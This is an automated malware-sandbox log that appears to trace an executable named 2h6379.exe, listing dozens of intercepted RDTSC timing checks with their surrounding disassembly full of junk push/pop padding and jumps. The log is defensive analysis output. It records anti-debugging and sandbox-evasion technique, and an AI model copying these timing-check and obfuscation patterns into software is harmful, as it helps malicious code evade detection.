Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: E6F5A4 second address: E6EE0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 add dword ptr [ebp+122D36AEh], ebx 0x0000000f push dword ptr [ebp+122D0269h] 0x00000015 sub dword ptr [ebp+122D25BCh], edx 0x0000001b call dword ptr [ebp+122D3CE2h] 0x00000021 pushad 0x00000022 jmp 00007FC110C3B046h 0x00000027 xor eax, eax 0x00000029 add dword ptr [ebp+122D2658h], esi 0x0000002f mov edx, dword ptr [esp+28h] 0x00000033 mov dword ptr [ebp+122D3772h], esi 0x00000039 mov dword ptr [ebp+122D2EECh], eax 0x0000003f ja 00007FC110C3B044h 0x00000045 mov esi, 0000003Ch 0x0000004a pushad 0x0000004b sub dword ptr [ebp+122D3772h], edi 0x00000051 adc ebx, 51F20F00h 0x00000057 popad 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c sub dword ptr [ebp+122D2658h], edi 0x00000062 lodsw 0x00000064 add dword ptr [ebp+122D36AEh], edx 0x0000006a add eax, dword ptr [esp+24h] 0x0000006e pushad 0x0000006f sub dword ptr [ebp+122D2658h], edx 0x00000075 pushad 0x00000076 mov dword ptr [ebp+122D3772h], edi 0x0000007c pushad 0x0000007d popad 0x0000007e popad 0x0000007f popad 0x00000080 mov ebx, dword ptr [esp+24h] 0x00000084 jo 00007FC110C3B03Ch 0x0000008a nop 0x0000008b jmp 00007FC110C3B040h 0x00000090 push eax 0x00000091 push edx 0x00000092 pushad 0x00000093 pushad 0x00000094 popad 0x00000095 push eax 0x00000096 push edx 0x00000097 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FE57A3 second address: FE57F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC110B5E0A0h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FC110B5E09Dh 0x0000000f jmp 00007FC110B5E09Fh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jno 00007FC110B5E09Ah 0x0000001f jmp 00007FC110B5E0A2h 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FE57F5 second address: FE57FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FDF1A9 second address: FDF1AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FDF1AD second address: FDF1BB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FDF1BB second address: FDF1BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FE4798 second address: FE47D6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC110C3B036h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FC110C3B046h 0x00000011 popad 0x00000012 pushad 0x00000013 jne 00007FC110C3B038h 0x00000019 jne 00007FC110C3B03Eh 0x0000001f push eax 0x00000020 push edx 0x00000021 push edi 0x00000022 pop edi 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FE4A70 second address: FE4A98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007FC110B5E096h 0x00000012 jmp 00007FC110B5E0A6h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FE4A98 second address: FE4A9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FE4A9C second address: FE4B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110B5E0A9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FC110B5E09Bh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jp 00007FC110B5E096h 0x0000001a je 00007FC110B5E096h 0x00000020 push esi 0x00000021 pop esi 0x00000022 jmp 00007FC110B5E0A1h 0x00000027 popad 0x00000028 push eax 0x00000029 jmp 00007FC110B5E0A8h 0x0000002e pop eax 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FE4F55 second address: FE4F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007FC110C3B036h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FE71AB second address: FE71AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FE71AF second address: E6EE0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 add dword ptr [esp], 7F038692h 0x0000000e mov cl, dh 0x00000010 push dword ptr [ebp+122D0269h] 0x00000016 or cx, 51E1h 0x0000001b call dword ptr [ebp+122D3CE2h] 0x00000021 pushad 0x00000022 jmp 00007FC110C3B046h 0x00000027 xor eax, eax 0x00000029 add dword ptr [ebp+122D2658h], esi 0x0000002f mov edx, dword ptr [esp+28h] 0x00000033 mov dword ptr [ebp+122D3772h], esi 0x00000039 mov dword ptr [ebp+122D2EECh], eax 0x0000003f ja 00007FC110C3B044h 0x00000045 mov esi, 0000003Ch 0x0000004a pushad 0x0000004b sub dword ptr [ebp+122D3772h], edi 0x00000051 adc ebx, 51F20F00h 0x00000057 popad 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c sub dword ptr [ebp+122D2658h], edi 0x00000062 lodsw 0x00000064 add dword ptr [ebp+122D36AEh], edx 0x0000006a add eax, dword ptr [esp+24h] 0x0000006e pushad 0x0000006f sub dword ptr [ebp+122D2658h], edx 0x00000075 pushad 0x00000076 mov dword ptr [ebp+122D3772h], edi 0x0000007c pushad 0x0000007d popad 0x0000007e popad 0x0000007f popad 0x00000080 mov ebx, dword ptr [esp+24h] 0x00000084 jo 00007FC110C3B03Ch 0x0000008a or dword ptr [ebp+122D3772h], edi 0x00000090 nop 0x00000091 jmp 00007FC110C3B040h 0x00000096 push eax 0x00000097 push edx 0x00000098 pushad 0x00000099 pushad 0x0000009a popad 0x0000009b push eax 0x0000009c push edx 0x0000009d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FE7234 second address: FE7238 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FE72F2 second address: FE72F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FE73D7 second address: FE73F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b popad 0x0000000c push eax 0x0000000d push ecx 0x0000000e pushad 0x0000000f jmp 00007FC110B5E0A0h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FE73F8 second address: FE740C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d jc 00007FC110C3B036h 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FE740C second address: FE7411 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FE7411 second address: FE74E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007FC110C3B049h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jmp 00007FC110C3B046h 0x00000017 pop eax 0x00000018 jmp 00007FC110C3B046h 0x0000001d push 00000003h 0x0000001f mov edi, eax 0x00000021 push 00000000h 0x00000023 stc 0x00000024 push 00000003h 0x00000026 push edi 0x00000027 push ebx 0x00000028 call 00007FC110C3B047h 0x0000002d pop ecx 0x0000002e pop edx 0x0000002f pop ecx 0x00000030 push BC6788C8h 0x00000035 push ebx 0x00000036 jmp 00007FC110C3B041h 0x0000003b pop ebx 0x0000003c xor dword ptr [esp], 7C6788C8h 0x00000043 pushad 0x00000044 xor dword ptr [ebp+122D3772h], ebx 0x0000004a and ecx, dword ptr [ebp+122D2BF0h] 0x00000050 popad 0x00000051 call 00007FC110C3B03Bh 0x00000056 mov ecx, dword ptr [ebp+122D3279h] 0x0000005c pop ecx 0x0000005d lea ebx, dword ptr [ebp+1244C0E4h] 0x00000063 xor dword ptr [ebp+122D31FAh], edx 0x00000069 push eax 0x0000006a jg 00007FC110C3B040h 0x00000070 pushad 0x00000071 pushad 0x00000072 popad 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1006A08 second address: 1006A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1006A0C second address: 1006A10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1006B6F second address: 1006B74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1006B74 second address: 1006B94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007FC110C3B04Ch 0x0000000f jmp 00007FC110C3B03Ch 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1006CC1 second address: 1006CCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FC110B5E096h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1006CCD second address: 1006CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1006CD1 second address: 1006CD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1006CD5 second address: 1006CF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FC110C3B067h 0x0000000e pushad 0x0000000f jmp 00007FC110C3B043h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1006FE5 second address: 1006FEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1006FEB second address: 1006FEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1006FEF second address: 100700E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC110B5E096h 0x00000008 jmp 00007FC110B5E0A5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 100700E second address: 100704A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FC110C3B03Ch 0x0000000a pop edx 0x0000000b jmp 00007FC110C3B03Eh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FC110C3B047h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 100704A second address: 1007062 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007FC110B5E09Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10071B3 second address: 10071CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 jno 00007FC110C3B03Eh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1007BB3 second address: 1007BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1007BB7 second address: 1007BE0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FC110C3B047h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1007BE0 second address: 1007BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1007BE4 second address: 1007BF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FFB140 second address: FFB146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 100848E second address: 1008492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1008492 second address: 1008496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1008496 second address: 100849C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 100849C second address: 10084A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10084A2 second address: 10084BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B03Fh 0x00000007 pushad 0x00000008 jne 00007FC110C3B036h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10085FB second address: 1008609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007FC110B5E096h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1008609 second address: 100861E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FC110C3B040h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 100861E second address: 1008624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1008A75 second address: 1008ABA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b jmp 00007FC110C3B040h 0x00000010 pop eax 0x00000011 jmp 00007FC110C3B03Eh 0x00000016 pushad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 jmp 00007FC110C3B046h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FCE740 second address: FCE745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 100DF8B second address: 100DF8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 100DF8F second address: 100DF94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 100E5B1 second address: 100E5B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 100E5B5 second address: 100E5BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 100E5BE second address: 100E5E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push ecx 0x0000000a jp 00007FC110C3B036h 0x00000010 pop ecx 0x00000011 jmp 00007FC110C3B040h 0x00000016 popad 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b pushad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 100E5E8 second address: 100E5EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1014E87 second address: 1014E8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1015021 second address: 1015025 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1015025 second address: 101502E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 101502E second address: 1015055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FC110B5E09Ah 0x0000000b jmp 00007FC110B5E09Ch 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007FC110B5E096h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1015055 second address: 1015059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1015638 second address: 1015652 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E0A6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1015652 second address: 1015660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1015660 second address: 1015664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1015664 second address: 1015668 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10177AE second address: 10177CF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b jmp 00007FC110B5E09Dh 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007FC110B5E096h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1017A14 second address: 1017A18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1017A18 second address: 1017A25 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC110B5E096h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1017C0D second address: 1017C17 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC110C3B036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1017C17 second address: 1017C1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1018572 second address: 1018579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1018579 second address: 10185DE instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC110B5E09Ch 0x00000008 jbe 00007FC110B5E096h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebx 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FC110B5E098h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b nop 0x0000002c pushad 0x0000002d push esi 0x0000002e jmp 00007FC110B5E09Fh 0x00000033 pop esi 0x00000034 jmp 00007FC110B5E0A8h 0x00000039 popad 0x0000003a push eax 0x0000003b pushad 0x0000003c push esi 0x0000003d pushad 0x0000003e popad 0x0000003f pop esi 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10190BF second address: 10190C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10190C3 second address: 10190C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
